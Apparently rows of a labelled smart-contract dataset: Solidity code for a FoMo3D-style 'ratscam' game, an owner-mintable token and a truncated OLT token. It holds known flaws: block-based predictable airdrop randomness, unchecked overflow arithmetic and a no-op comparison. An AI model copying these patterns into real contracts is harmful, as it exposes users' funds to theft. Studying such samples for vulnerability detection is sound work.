uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
uint256 _rID = rID_;
return
(
round_[rID_].keys,
round_[rID_].end,
round_[rID_].strt,
round_[rID_].pot,
round_[rID_].plyr,
plyr_[round_[rID_].plyr].addr,
plyr_[round_[rID_].plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
_rID = rID_;
core(_rID, _pID, msg.value, _affID, _eventData_);
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core( _rID, _pID, _eth, _affID, _eventData_);
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return((((round_[_rID].mask).mul(plyrRnds_[_pID][_rID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = RatBook.getPlayerID(msg.sender);
bytes32 _name = RatBook.getPlayerName(_pID);
uint256 _laff = RatBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = 0;
if(round_[_rID].keys > 0)
{
_ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
}
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
adminAddress.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rID].mask = _earnings.add(plyrRnds_[_pID][_rID].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
adminAddress.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == adminAddress,
"only owner can activate"
);
require(activated_ == false, "ratscam already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now - rndGap_;
round_[1].end = now + rndInit_;
}
function setNextRndTime(uint32 rndInit, uint32 rndInc, uint32 rndMax)
public
{
require(msg.sender == adminAddress, "only owner can setNextRndTime");
rndInit_ = rndInit * 1 hours;
rndInc_ = rndInc * 1 seconds;
rndMax_ = rndMax * 1 hours;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
uint256 lrnd;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface RatBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,700 |
pragma solidity ^0.4.24;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract AdvancedCOINSToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0x0));
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(address(this), msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = address(this);
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, address(this), amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,451 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract OneledgerToken is MintableToken {
using SafeMath for uint256;
string public name = "Oneledger Token";
string public symbol = "OLT";
uint8 public decimals = 18;
bool public active = false;
modifier activated() {
require(active == true);
_;
}
function activate() public onlyOwner {
active = true;
}
function transfer(address to, uint256 value) public activated returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public activated returns (bool) {
